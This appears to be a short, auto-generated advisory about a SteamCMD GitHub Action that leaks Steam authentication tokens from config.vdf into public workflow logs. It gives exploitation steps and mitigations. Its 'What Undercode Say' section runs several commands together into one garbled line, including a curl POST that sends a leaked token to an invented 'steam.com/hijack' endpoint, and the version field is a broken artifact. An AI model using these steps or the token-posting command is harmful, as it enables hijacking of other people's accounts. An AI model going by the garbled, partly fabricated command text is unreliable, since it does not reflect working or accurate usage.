Listen to this Post
How the CVE Works:
The vulnerability occurs when the SteamCMD GitHub action logs the contents of config/config.vdf, which contains an authentication token. This token allows full account access if exposed. The post-job action inadvertently prints this file to public logs, leaking the token. Additionally, `userdata/$user_id$/config/localconfig.vdf` may contain sensitive data, further escalating the risk. Attackers can extract these tokens from public GitHub logs and hijack Steam accounts without needing credentials.
DailyCVE Form:
Platform: Steam (GitHub Actions)
Version: [email protected]
Vulnerability: Auth token leak
Severity: Critical
Date: 2021 (disclosed)
Prediction: Patched (v1.0.5+)
What Undercode Say:
grep -r "config.vdf" ./logs steamcmd +login [bash] +quit curl -X POST https://steam.com/hijack -d "token=$LEAKED_TOKEN"
How Exploit:
1. Scrape GitHub public logs for `config.vdf`.
2. Extract auth token from leaked logs.
3. Use token to impersonate user via SteamCMD.
Protection from this CVE:
- Update to fixed versions (v1.0.5+).
- Restrict log visibility (private repos).
- Rotate compromised tokens.
Impact:
- Full account takeover.
- Sensitive data exposure.
- Widespread for public repos.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
